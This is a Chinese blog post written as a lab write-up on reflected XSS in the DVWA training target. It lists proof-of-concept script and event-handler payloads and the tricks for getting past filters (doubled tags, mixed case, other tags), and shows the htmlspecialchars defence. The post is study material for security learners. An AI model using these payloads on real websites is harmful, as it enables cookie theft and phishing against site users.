反射型XSS初识

作者: 求余的小屋 | 来源:发表于2020-02-06 12:47 被阅读0次
xss

环境

  • 靶机:dvwa
  • 测试工具:BurpSuit,HackBar, Netcat

XSS 漏洞产生的原因,和 SQL 注入有“异曲同工之妙”,所以 XSS 又称作“ HTML 注入”,都是没有对用户输入的内容,进行检查过滤而导致站点被恶意利用,或者服务器数据被窃取,那么如何发现 XSS 漏洞的存在呢

一、验证思路

① 输入的内容提交后,查找当前页面中,有无显示输入的内容

② 输入漏洞验证代码,看是否有效

二、漏洞验证Poc

利用 HTML 语言中的几个常见的标签,以及 javascript,可以实现验证漏洞是否存在</br>
例子中跳转的网页,我用的自己的路由器后台管理地址。

1 <script>alert('xss')</script>
2 <script>window.location="http://192.168.31.1"</script>
3 <script>window.open('http://192.168.31.1')</script>
3 <a href="http://192.168.31.1">click here</a>
4 <a href="" onclick=alert('xss')>click here</a>
5 <img src="http://192.168.31.1/a.img" onerror=alert('xss')>

当然,不是什么时候都会有效果

随着靶场等级的提高,对用户的输入内容就会愈加严格检查和过滤</br>

思路要骚,才能绕过限制:D

① 靶场等级:low

没有任何过滤,输入的所有poc均生效


// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

② 靶场等级:medl

匹配字符串中,出现的 <script>,并替换为空字符串

    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

Ⅰ. 双写绕过

   <sc<script>ript>alert('xss')</script>

Ⅱ. 大、小写混写绕过

   <ScrIPT>alert('xss')</script>

Ⅲ. 其他标签、事件绕过

③ 靶场等级:high

// Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

加强了过滤规则,采用正则替换

上一个方法中的双写、大小写都失效了

还好没有过滤其他的标签,和上一个一样,可以用其他标签触发XSS

④ 靶场等级:impossible

加入了 user_token 验证,和 htmlspecialchars() 函数对输入的字符串进行 “无害化处理”</br>

这个例子中,各种姿势也没用了T_T

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );
    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?> 

总结

通过查阅freebuff上大佬的解释

可以看到,通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。

学到的三个防御xss的函数

  • str_replace()
  • preg_replace()
  • htmlspecialchars()

反射型 xss,各种钓鱼链接都会利用网站存在 xss 结合钓鱼页面,骗取点击,获取受害者的登陆 cookie,或者是账号密码等信息

接下来就是如何利用xss ,获取用户登陆 cookie,以及实现键盘记录器了:D

相关文章

  • 反射型XSS初识

    环境 靶机:dvwa 测试工具:BurpSuit,HackBar, Netcat XSS 漏洞产生的原因,和 SQ...

  • XSS漏洞攻击教程:

    XSS分类:1.反射型XSS(非持久型);2.存储型XSS((持久型);3.DOM XSS(文档对象型). 反射型...

  • 代码审计——xss漏洞

    XSS漏洞大致分为三种 反射型XSS漏洞 存储型XSS漏洞 基于DOM的XSS漏洞 反射型XSS漏洞 它通过给别人...

  • xss漏洞原理分析与挖掘方法

    0x01 反射型xss 反射型xss是能挖到的xss中最多的,他的原理如下: 1.黑客发现了一个存在反射型xss的...

  • Web安全-XSS

    学习内容:理解XSS的攻击原理和手段 掌握XSS攻击的防范措施 一、XSS攻击方式:反射型、存储型 1)反射型: ...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • web安全1

    xss 类型 Dom Based Xss、反射型Xss和存储型Xss 攻击 获取cookie基本是配合csrf一起...

  • 2019-02-20 xss go on

    我觉得视频上讲的不是很清晰,说说反射型xss 和 存储型xss 反射型xss 可以理解为你在页面填入一段js代码,...

网友评论

    本文标题:反射型XSS初识

    本文链接:https://www.haomeiwen.com/subject/ylgyxhtx.html